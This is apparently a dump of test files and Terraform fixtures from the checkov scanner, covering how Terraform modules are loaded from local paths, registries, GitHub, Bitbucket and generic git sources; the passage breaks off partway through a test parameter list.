    "content": "module \"log_group\" {\n  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n\n  name_prefix       = \"my-log-group-\"\n  retention_in_days = 7\n}\n\nmodule \"log_group_v4\" {\n  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n  version = \"~> 4.0\"\n\n  name_prefix       = \"my-log-group-\"\n  retention_in_days = 7\n}\n\n#NOTE - THIS IS COMMENTED AS PART OF THE TEST TO CHECK HANDLING OF COMMENTED OUT MODULES. DO NOT DELETE\n# Need to verify this type of comment is not an issue.\n#module \"log_group_pound_comment\" {\n#  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n#\n#  name_prefix       = \"my-log-group-\"\n#  retention_in_days = 7\n#}\n\n\n# Need to verify this type of comment is not an issue.\n/*\nmodule \"log_group_star_comment\" {\n  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n  name_prefix       = \"my-log-group-\"\n  retention_in_days = 7\n}\n*/"
  },
  {
    "path": "tests/terraform/module_loading/data/tf_managed_submodules/main.tf",
    "content": "module \"a\" {\n  source  = \"somewhere/a\"\n  version = \"0\"\n}\n\n"
  },
  {
    "path": "tests/terraform/module_loading/data/tf_module_downloader/private_registry_modules/main.tf",
    "content": "module \"s3-bucket1\" {\n  source  = \"app.terraform.io/panw-bridgecrew/s3-bucket1/aws\"\n  version = \"0.0.2\"\n}"
  },
  {
    "path": "tests/terraform/module_loading/data/tf_module_downloader/public_modules/main.tf",
    "content": "module \"local_module\" {\n  source = \"../../../../../../../platform/src/stacks/accountStack\"\n#  source = \"comment/local_module\"\n  aws_profile = \"\"\n  pgadmin_password = \"\"\n  region = \"\"\n  state_bucket = \"\"\n}\n\nmodule \"remote_module\" {\n#  source = \"terraform-aws-modules/comment/ignore\"\n  source = \"terraform-aws-modules/s3-bucket/aws\"\n  version = \"~> 2.1.0\"\n}\n"
  },
  {
    "path": "tests/terraform/module_loading/loaders/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/module_loading/loaders/resources/README.txt",
    "content": "This space intentionally left blank."
  },
  {
    "path": "tests/terraform/module_loading/loaders/test_git_loader.py",
    "content": "import pytest\n\nfrom checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader\nfrom checkov.terraform.module_loading.module_params import ModuleParams\n\n\n@pytest.mark.parametrize(\"source, expected_root_module, expected_inner_module\", [\n    (\"git::git@github.com:test-inner-module/out-module//inner-module?ref=main\",\n     \"github.com:test-inner-module/out-module\", \"inner-module\"),\n    (\"git::https://github.com:test-inner-module/out-module//inner-module?ref=main\",\n     \"github.com:test-inner-module/out-module\", \"inner-module\"),\n    (\"git::https://github.com:test-only-outer-module/out-module\",\n     \"github.com:test-only-outer-module/out-module\", \"\"),\n    (\"git::ssh://github.com:test-only-outer-module/out-module\",\n     \"github.com:test-only-outer-module/out-module\", \"\"),\n    (\"https://github.com:test-only-outer-module/out-module\",\n     \"github.com:test-only-outer-module/out-module\", \"\"),\n    (\"https://github.com:test-with-inner-module-no-git-prefix/out-module//in-module\",\n     \"github.com:test-with-inner-module-no-git-prefix/out-module\", \"in-module\")\n]\n                         )\ndef test__parse_module_source(source: str, expected_root_module: str, expected_inner_module: str) -> None:\n    git_loader = GenericGitLoader()\n    module_params = ModuleParams(\n        root_dir=\"test\",\n        current_dir=\"test\",\n        source=source,\n        source_version=\"source_version\",\n        dest_dir=\"test\",\n        external_modules_folder_name=\"test\",\n        inner_module=\"\",\n        tf_managed=False\n    )\n    module_source = git_loader._parse_module_source(module_params)\n    assert module_source.root_module == expected_root_module\n    assert module_source.inner_module == expected_inner_module\n"
  },
  {
    "path": "tests/terraform/module_loading/loaders/test_local_path_loader.py",
    "content": "import os\nimport unittest\n\nfrom checkov.terraform.module_loading.loaders.local_path_loader import loader\nfrom checkov.terraform.module_loading.module_params import ModuleParams\n\n\nclass TestLocalPathLoader(unittest.TestCase):\n    def test_child_dir(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        module_params = ModuleParams(current_dir, current_dir, \"./resources\", None, \"\", \"\")\n        content = loader.load(module_params)\n        assert content.loaded()\n        assert content.path() == os.path.join(current_dir, \"resources\")\n\n    def test_unhandled_source(self):\n        module_params = ModuleParams(\"current_dir\", \"current_dir\", \"hashicorp/consul/aws\", None, \"\", \"\")\n        content = loader.load(module_params)\n        assert not content.loaded()\n\n    def test_bad_source(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        with self.assertRaises(FileNotFoundError):\n            module_params = ModuleParams(current_dir, current_dir, \"./path_that_doesnt_exist\", None, '', '')\n            loader.load(module_params)\n\n    def test_absolute_path(self):\n        # Generate absolute path dynamically so test is OS agnostic\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        target_dir = os.path.join(current_dir, \"resources\")\n        module_params = ModuleParams(current_dir, current_dir, target_dir, None, '', '')\n        content = loader.load(module_params)\n        assert content.loaded()\n        assert content.path() == os.path.join(current_dir, \"resources\")\n"
  },
  {
    "path": "tests/terraform/module_loading/loaders/test_registry_loader.py",
    "content": "import responses\nimport pytest\nfrom unittest import mock\n\nfrom checkov.terraform.module_loading.loaders.registry_loader import RegistryLoader\nfrom checkov.terraform.module_loading.module_params import ModuleParams\n\n\n@responses.activate\ndef test_module_version_url_invoked_once():\n    # given\n    module_version_url = \"https://registry.terraform.io/v1/modules/terraform-aws-modules/example/versions\"\n    responses.add(\n        method=responses.GET,\n        url=module_version_url,\n        json={\"modules\": [{\"versions\": [{\"version\": \"1.0.0\"}]}]},\n        status=200,\n    )\n    loader = RegistryLoader()\n    RegistryLoader.modules_versions_cache = {}  # reset cache\n    module_params = ModuleParams(\"\", \"\", \"terraform-aws-modules/example\", \"\", \"\", \"\")\n    loader.discover(module_params)\n\n    # when\n    loader._is_matching_loader(module_params)\n    loader._is_matching_loader(module_params)\n\n    # then\n    responses.assert_call_count(module_version_url, 1)\n    assert loader.modules_versions_cache == {module_version_url: [\"1.0.0\"]}\n\ndef test_determine_tf_api_endpoints_tfc():\n    # given\n    loader = RegistryLoader()\n    module_params = ModuleParams(\"\", \"\", \"terraform-aws-modules/example\", \"\", \"\", \"\")\n    loader.discover(module_params)\n\n    # when\n    loader._determine_tf_api_endpoints(module_params)\n\n    # then\n    assert module_params.tf_host_name == \"app.terraform.io\"\n    assert module_params.tf_modules_endpoint == \"https://registry.terraform.io/v1/modules/\"\n    assert module_params.tf_modules_versions_endpoint == \"https://registry.terraform.io/v1/modules/terraform-aws-modules/example/versions\"\n\n@pytest.mark.parametrize(\n    \"discovery_response\",\n    [\n        ({\n        \"modules.v1\": \"/api/registry/v1/modules/\",\n        \"providers.v1\": \"/api/registry/v1/providers/\",\n        \"state.v2\": \"/api/v2/\",\n        \"tfe.v2\": \"/api/v2/\",\n        \"tfe.v2.1\": \"/api/v2/\",\n        \"tfe.v2.2\": \"/api/v2/\",\n        \"versions.v1\": \"https://checkpoint-api.hashicorp.com/v1/versions/\"\n        }),\n        ({\n        \"modules.v1\": \"https://example.registry.com/api/registry/v1/modules/\",\n        \"providers.v1\": \"https://example.registry.com/api/registry/v1/providers/\",\n        \"state.v2\": \"https://example.registry.com/api/v2/\",\n        \"tfe.v2\": \"https://example.registry.com/api/v2/\",\n        \"tfe.v2.1\": \"https://example.registry.com/api/v2/\",\n        \"tfe.v2.2\": \"https://example.registry.com/api/v2/\",\n        \"versions.v1\": \"https://checkpoint-api.hashicorp.com/v1/versions/\"\n        }),\n    ]\n)\n@responses.activate\ndef test_determine_tf_api_endpoints_tfe(discovery_response):\n    # given\n    loader = RegistryLoader()\n    module_params = ModuleParams(\"\", \"\", \"example.registry.com/terraform-aws-modules/example\", \"\", \"\", \"\")\n    with mock.patch.dict(\"os.environ\", {\"TF_HOST_NAME\": \"example.registry.com\"}):\n        loader.discover(module_params)\n    responses.add(\n        method=responses.GET,\n        url=f\"https://{module_params.tf_host_name}/.well-known/terraform.json\",\n        json=discovery_response,\n        status=200,\n    )\n\n    # when\n    loader._determine_tf_api_endpoints(module_params)\n\n    # then\n    responses.assert_call_count(f\"https://{module_params.tf_host_name}/.well-known/terraform.json\", 1)\n    assert module_params.tf_host_name == \"example.registry.com\"\n    assert module_params.tf_modules_endpoint == \"https://example.registry.com/api/registry/v1/modules/\"\n    assert module_params.tf_modules_versions_endpoint == \"https://example.registry.com/api/registry/v1/modules/terraform-aws-modules/example/versions\"\n\n@responses.activate\ndef test_load_module():\n    # given\n    loader = RegistryLoader()\n    module_params = ModuleParams(\"\", \"\", \"terraform-aws-modules/example\", \"\", \"\", \"\")\n    module_params.tf_modules_endpoint = \"https://example.registry.com/api/registry/v1/modules/\"\n    module_params.best_version = \"1.0.0\"\n    with mock.patch.dict(\"os.environ\", {\"TF_HOST_NAME\": \"example.registry.com\"}):\n        loader.discover(module_params)\n    responses.add(\n        method=responses.GET,\n        url=\"https://example.registry.com/api/registry/v1/modules/terraform-aws-modules/example/1.0.0/download\",\n        status=200,\n    )\n\n    # when\n    loader._load_module(module_params)\n\n    # then\n    responses.assert_call_count(\"https://example.registry.com/api/registry/v1/modules/terraform-aws-modules/example/1.0.0/download\", 1)\n\n@pytest.mark.parametrize(\n    \"download_url, expected_result\",\n    [\n        (\"https://example.com/download?archive=tgz\", \"tgz\"),\n        (\"https://example.com/download?archive=zip\", \"zip\"),\n        (\"https://example.com/download/module.zip\", \"zip\"),\n        (\"https://example.com/download/module.zip?sig=foo\", \"zip\"),\n        (\"https://example.com/download/module/archive\", None),\n    ]\n)\ndef test_get_archive_extension(download_url, expected_result):\n    archive_extension = RegistryLoader._get_archive_extension(download_url)\n    assert archive_extension == expected_result\n\n@pytest.mark.parametrize(\n    \"tf_host_name, module_download_url, expected_result\",\n    [\n        (\"example.com\", \"https://example.com/download?archive=tgz\", \"https://example.com/download?archive=tgz\"),\n        (\"example.com\", \"https://example.com/abc\", \"https://example.com/abc\"),\n        (\"example.com\", \"/api/registry/v1/modules/namespace/version/download?archive=tgz\", \"https://example.com/api/registry/v1/modules/namespace/version/download?archive=tgz\"),\n    ]\n)\ndef test_normalize_module_download_url(tf_host_name, module_download_url, expected_result):\n    # given\n    loader = RegistryLoader()\n    module_params = ModuleParams(\"\", \"\", \"example.com/terraform-aws-modules/example\", \"\", \"\", \"\")\n    with mock.patch.dict(\"os.environ\", {\"TF_HOST_NAME\": tf_host_name}):\n        loader.discover(module_params)\n\n    # when\n    normalized_url = loader._normalize_module_download_url(module_params, module_download_url)\n\n    # then\n    assert normalized_url == expected_result\n\n@pytest.mark.parametrize(\n    \"source_url\",\n    [\n        (\"git::https://example.com/repo.git\"),\n        (\"git@github.com:org/repo\"),\n        (\"github.com/org/repo\"),\n        (\"bitbucket.org/org/repo\"),\n    ]\n)\ndef test_is_matching_loader_git_sources(source_url):\n    #given\n    loader = RegistryLoader()\n    module_params = ModuleParams(\"\", \"\", source_url, \"\", \"\", \"\")\n    loader.discover(module_params)\n\n    # then\n    assert not loader._is_matching_loader(module_params)\n\n\ndef test_load_module_returns_inner_module_path_when_dest_dir_exists(tmp_path):\n    \"\"\"\n    When dest_dir already exists (e.g. a previous module from the same base source\n    was already downloaded) and inner_module is set, _load_module should return\n    the inner module subdirectory, not just the base dest_dir.\n\n    This is the scenario that caused only the first set of inner modules to be\n    scanned on Linux, while subsequent inner modules from the same base source\n    were silently skipped.\n    \"\"\"\n    # given\n    loader = RegistryLoader()\n    base_dir = tmp_path / \"base_module\"\n    inner_module_a = base_dir / \"modules\" / \"asg\"\n    inner_module_b = base_dir / \"modules\" / \"ssm_document\"\n\n    # Simulate a previously downloaded module: create the base dir and both inner module dirs\n    inner_module_a.mkdir(parents=True)\n    inner_module_b.mkdir(parents=True)\n\n    # First module: modules/asg\n    module_params_a = ModuleParams(\n        root_dir=str(tmp_path),\n        current_dir=str(tmp_path),\n        source=\"example.com/org/repo//modules/asg\",\n        source_version=\"1.0.0\",\n        dest_dir=str(base_dir),\n        external_modules_folder_name=\".external_modules\",\n        inner_module=\"modules/asg\",\n    )\n    module_params_a.best_version = \"1.0.0\"\n\n    # Second module: modules/ssm_document (different inner module, same base)\n    module_params_b = ModuleParams(\n        root_dir=str(tmp_path),\n        current_dir=str(tmp_path),\n        source=\"example.com/org/repo//modules/ssm_document\",\n        source_version=\"1.0.0\",\n        dest_dir=str(base_dir),\n        external_modules_folder_name=\".external_modules\",\n        inner_module=\"modules/ssm_document\",\n    )\n    module_params_b.best_version = \"1.0.0\"\n\n    # when\n    content_a = loader._load_module(module_params_a)\n    content_b = loader._load_module(module_params_b)\n\n    # then - both should return their respective inner module paths\n    assert content_a.loaded()\n    assert content_a.path() == str(inner_module_a)\n\n    assert content_b.loaded()\n    assert content_b.path() == str(inner_module_b)\n\n    # and they should be different paths\n    assert content_a.path() != content_b.path()\n\n\ndef test_load_module_returns_dest_dir_when_no_inner_module(tmp_path):\n    \"\"\"\n    When dest_dir already exists and there is no inner_module,\n    _load_module should return dest_dir as before (no regression).\n    \"\"\"\n    # given\n    loader = RegistryLoader()\n    base_dir = tmp_path / \"base_module\"\n    base_dir.mkdir(parents=True)\n\n    module_params = ModuleParams(\n        root_dir=str(tmp_path),\n        current_dir=str(tmp_path),\n        source=\"example.com/org/repo\",\n        source_version=\"1.0.0\",\n        dest_dir=str(base_dir),\n        external_modules_folder_name=\".external_modules\",\n    )\n    module_params.best_version = \"1.0.0\"\n\n    # when\n    content = loader._load_module(module_params)\n\n    # then\n    assert content.loaded()\n    assert content.path() == str(base_dir)\n"
  },
  {
    "path": "tests/terraform/module_loading/loaders/test_version_parser.py",
    "content": "import pytest\n\nfrom checkov.terraform.module_loading.loaders.versions_parser import get_version_constraints\n\n\n@pytest.mark.parametrize(\n    \"input_str,expected\",\n    [\n        (\"1.2.0\", \"=1.2.0\"),\n        (\"1.2.0-rc1\", \"=1.2.0rc1\"),\n        (\">= 1.2.0, < 2.0.0\", \">=1.2.0,<2.0.0\"),\n        (\"not-a-version\", \"\"),\n        (\"<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=>=1.2.3\", \"\"),\n    ],\n    ids=[\"sem_ver\", \"pre_release\", \"multi\", \"not_a_version\", \"back_tracking\"],\n)\ndef test_get_version_constraints(input_str: str, expected: str) -> None:\n    result = get_version_constraints(input_str)\n\n    assert \",\".join(str(version) for version in result) == expected\n"
  },
  {
    "path": "tests/terraform/module_loading/test_registry.py",
    "content": "import os\nfrom contextlib import ExitStack as does_not_raise\nfrom pathlib import Path\nfrom unittest import mock\n\nimport pytest\n\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.terraform.module_loading.loaders.bitbucket_loader import BitbucketLoader # noqa\nfrom checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader # noqa\nfrom checkov.terraform.module_loading.loaders.github_loader import GithubLoader # noqa\nfrom checkov.terraform.module_loading.module_params import ModuleParams\nfrom checkov.terraform.module_loading.registry import ModuleLoaderRegistry # noqa\nfrom checkov.terraform.module_loading.content import ModuleContent\nfrom checkov.terraform.module_loading.loaders.github_access_token_loader import GithubAccessTokenLoader # noqa\nfrom checkov.terraform.module_loading.loaders.bitbucket_access_token_loader import BitbucketAccessTokenLoader # noqa\n\n\n@pytest.mark.parametrize(\n    \"source, source_version, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module\",\n    [\n        (\n            \"terraform-aws-modules/security-group/aws\",\n            \"4.0.0\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/ff2efb814c924572d27280b99a799fc34d061109\",\n            \"https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0\",\n            \"git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109\",\n            \"\",\n        ),\n        (\n            \"terraform-aws-modules/security-group/aws//modules/http-80\",\n            \"4.0.0\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/ff2efb814c924572d27280b99a799fc34d061109/modules/http-80\",\n            \"https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0\",\n            \"git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109\",\n            \"modules/http-80\",\n        )\n    ],\n    ids=[\"module_with_version\", \"inner_module_with_version\"],\n)\n@mock.patch(\"checkov.terraform.module_loading.loaders.git_loader.GitGetter\", autospec=True)\ndef test_load_terraform_registry(\n    git_getter,\n    tmp_path: Path,\n    source,\n    source_version,\n    expected_content_path,\n    expected_git_url,\n    expected_dest_dir,\n    expected_module_source,\n    expected_inner_module,\n):\n    # given\n    current_dir = tmp_path / \"tf_registry\"\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    registry.module_content_cache = {}\n\n    # when\n    content = registry.load(current_dir=str(current_dir), source=source, source_version=source_version)\n\n    # then\n    assert content.loaded()\n    assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path)\n\n    git_getter.assert_called_once_with(expected_git_url, mock.ANY)\n\n\n@pytest.mark.parametrize(\n    \"source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module\",\n    [\n        (\n            \"git::https://example.com/network.git\",\n            \"example.com/network/HEAD\",\n            \"https://example.com/network.git\",\n            \"example.com/network/HEAD\",\n            \"git::https://example.com/network.git\",\n            \"\",\n        ),\n        (\n            \"git::https://example.com/network.git?ref=v1.2.0\",\n            \"example.com/network/v1.2.0\",\n            \"https://example.com/network.git?ref=v1.2.0\",\n            \"example.com/network/v1.2.0\",\n            \"git::https://example.com/network.git?ref=v1.2.0\",\n            \"\",\n        ),\n        (\n            \"git::https://example.com/network.git//modules/vpc\",\n            \"example.com/network/HEAD/modules/vpc\",\n            \"https://example.com/network\",\n            \"example.com/network/HEAD\",\n            \"git::https://example.com/network\",\n            \"modules/vpc\",\n        ),\n        (\n            \"git::https://example.com/network.git//modules/vpc?ref=v1.2.0\",\n            \"example.com/network/v1.2.0/modules/vpc\",\n            \"https://example.com/network?ref=v1.2.0\",\n            \"example.com/network/v1.2.0\",\n            \"git::https://example.com/network?ref=v1.2.0\",\n            \"modules/vpc\",\n        ),\n        (\n            \"git::ssh://username@example.com/network.git\",\n            \"example.com/network/HEAD\",\n            \"ssh://username@example.com/network.git\",\n            \"example.com/network/HEAD\",\n            \"git::ssh://username@example.com/network.git\",\n            \"\",\n        ),\n        (\n            \"git::ssh://username@example.com/network.git?ref=v1.2.0\",\n            \"example.com/network/v1.2.0\",\n            \"ssh://username@example.com/network.git?ref=v1.2.0\",\n            \"example.com/network/v1.2.0\",\n            \"git::ssh://username@example.com/network.git?ref=v1.2.0\",\n            \"\",\n        ),\n        (\n            \"git::username@example.com/network.git\",\n            \"example.com/network/HEAD\",\n            \"username@example.com/network.git\",\n            \"example.com/network/HEAD\",\n            \"git::username@example.com/network.git\",\n            \"\",\n        ),\n        (\n            \"git::username@example.com/network.git?ref=v1.2.0\",\n            \"example.com/network/v1.2.0\",\n            \"username@example.com/network.git?ref=v1.2.0\",\n            \"example.com/network/v1.2.0\",\n            \"git::username@example.com/network.git?ref=v1.2.0\",\n            \"\",\n        ),\n        (\n            \"git::ssh://git@github.com/bridgecrewio/terragoat//modules/s3-encrypted\",\n            \"git@github.com/bridgecrewio/terragoat/HEAD/modules/s3-encrypted\",\n            \"ssh://git@github.com/bridgecrewio/terragoat\",\n            \"git@github.com/bridgecrewio/terragoat/HEAD\",\n            \"git::ssh://git@github.com/bridgecrewio/terragoat\",\n            \"modules/s3-encrypted\",\n        ),\n        (\n            \"git::git@github.com/bridgecrewio/terragoat//modules/s3-encrypted\",\n            \"git@github.com/bridgecrewio/terragoat/HEAD/modules/s3-encrypted\",\n            \"ssh://git@github.com/bridgecrewio/terragoat\",\n            \"git@github.com/bridgecrewio/terragoat/HEAD\",\n            \"git::ssh://git@github.com/bridgecrewio/terragoat\",\n            \"modules/s3-encrypted\",\n        ),\n    ],\n    ids=[\n        \"module\",\n        \"module_with_version\",\n        \"inner_module\",\n        \"inner_module_with_version\",\n        \"module_over_ssh\",\n        \"module_over_ssh_with_version\",\n        \"module_over_ssh_without_protocol\",\n        \"module_over_ssh_without_protocol_with_version\",\n        \"git_username\",\n        \"git::git@ syntax\"\n    ],\n)\n@mock.patch(\"checkov.terraform.module_loading.loaders.git_loader.GitGetter\", autospec=True)\ndef test_load_generic_git(\n    git_getter,\n    tmp_path: Path,\n    source,\n    expected_content_path,\n    expected_git_url,\n    expected_dest_dir,\n    expected_module_source,\n    expected_inner_module,\n):\n    # given\n    current_dir = tmp_path / \"generic\"\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    registry.module_content_cache = {}\n\n    # when\n    content = registry.load(current_dir=str(current_dir), source=source, source_version=\"latest\")\n\n    # then\n    assert content.loaded()\n    assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path)\n\n    git_getter.assert_called_once_with(expected_git_url, mock.ANY)\n\n\n@pytest.mark.parametrize(\n    \"source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module\",\n    [\n        (\n            \"github.com/terraform-aws-modules/terraform-aws-security-group\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/HEAD\",\n            \"https://github.com/terraform-aws-modules/terraform-aws-security-group\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/HEAD\",\n            \"git::https://github.com/terraform-aws-modules/terraform-aws-security-group\",\n            \"\",\n        ),\n        (\n            \"github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0\",\n            \"https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0\",\n            \"git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0\",\n            \"\",\n        ),\n        (\n            \"github.com/terraform-aws-modules/terraform-aws-security-group//modules/http-80\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/HEAD/modules/http-80\",\n            \"https://github.com/terraform-aws-modules/terraform-aws-security-group\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/HEAD\",\n            \"git::https://github.com/terraform-aws-modules/terraform-aws-security-group\",\n            \"modules/http-80\",\n        ),\n        (\n            \"github.com/terraform-aws-modules/terraform-aws-security-group//modules/http-80?ref=v4.0.0\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0/modules/http-80\",\n            \"https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0\",\n            \"github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0\",\n            \"git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0\",\n            \"modules/http-80\",\n        ),\n    ],\n    ids=[\"module\", \"module_with_version\", \"inner_module\", \"inner_module_with_version\"],\n)\n@mock.patch(\"checkov.terraform.module_loading.loaders.git_loader.GitGetter\", autospec=True)\ndef test_load_github(\n    git_getter,\n    tmp_path: Path,\n    source,\n    expected_content_path,\n    expected_git_url,\n    expected_dest_dir,\n    expected_module_source,\n    expected_inner_module,\n):\n    # given\n    current_dir = tmp_path / \"github\"\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    registry.module_content_cache = {}\n\n    # when\n    content = registry.load(current_dir=str(current_dir), source=source, source_version=\"latest\")\n\n    # then\n    assert content.loaded()\n    assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path)\n\n    git_getter.assert_called_once_with(expected_git_url, mock.ANY)\n\n\n# TODO: create a dummy repo in bitbucket for more consistent tests\n@pytest.mark.parametrize(\n    \"source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module\",\n    [\n        (\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD\",\n            \"https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD\",\n            \"git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha\",\n            \"\",\n        ),\n        (\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0\",\n            \"https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0\",\n            \"git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0\",\n            \"\",\n        ),\n        (\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha//rancher2-ha\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD/rancher2-ha\",\n            \"https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD\",\n            \"git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha\",\n            \"rancher2-ha\",\n        ),\n        (\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha//rancher2-ha?ref=v0.1.0\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0/rancher2-ha\",\n            \"https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0\",\n            \"bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0\",\n            \"git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0\",\n            \"rancher2-ha\",\n        ),\n    ],\n    ids=[\"module\", \"module_with_version\", \"inner_module\", \"inner_module_with_version\"],\n)\n@mock.patch(\"checkov.terraform.module_loading.loaders.git_loader.GitGetter\", autospec=True)\ndef test_load_bitbucket(\n    git_getter,\n    tmp_path: Path,\n    source,\n    expected_content_path,\n    expected_git_url,\n    expected_dest_dir,\n    expected_module_source,\n    expected_inner_module,\n):\n    # given\n    current_dir = tmp_path / \"bitbucket\"\n    registry = ModuleLoaderRegistry(download_external_modules=True)\n    registry.module_content_cache = {}\n\n    # when\n    content = registry.load(current_dir=str(current_dir), source=source, source_version=\"latest\")\n\n    # then\n    assert content.loaded()\n    assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path)\n\n    git_getter.assert_called_once_with(expected_git_url, mock.ANY)\n\n\n@pytest.mark.parametrize(\n    \"source, expected_content_path, expected_exception\",\n    [\n        (\"./loaders/resources\", \"loaders/resources\", does_not_raise()),\n        (\"../module_loading/loaders/resources\", \"loaders/resources\", does_not_raise()),\n        (\"./does_not_exist\", \"\", pytest.raises(FileNotFoundError)),\n    ],\n    ids=[\"current_dir\", \"parent_dir\", \"not_exists\"],\n)\n@mock.patch(\"checkov.terraform.module_loading.loaders.git_loader.GitGetter\", autospec=True)\ndef test_load_local_path(git_getter, tmp_path: Path, source, expected_content_path, expected_exception):\n    # given\n    current_dir = Path(__file__).parent\n    registry = ModuleLoaderRegistry()\n    registry.module_content_cache = {}\n\n    # when\n    with expected_exception:\n        content = registry.load(current_dir=str(current_dir), source=source, source_version=\"latest\")\n\n        # then\n        assert content.loaded()\n        assert content.path() == str(current_dir / expected_content_path)\n\n        git_getter.assert_not_called()\n\n\n@pytest.mark.parametrize(\n    \"source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module\",\n    [\n        (\n            \"github.com/kartikp10/terraform-aws-s3-bucket1\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1\",  # checkov:skip=CKV_SECRET_4 test secret\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1\",\n            \"\",\n        ),\n       (\n            \"git::https://github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"\",\n        ),\n       (\n           \"git@github.com:kartikp10/terraform-aws-s3-bucket1.git\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"\",\n        ),\n       (\n           \"git::ssh://git@github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            \"https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1.git\",\n            \"github.com/kartikp10/terraform-aws-s3-bucket1/HEAD\",\n            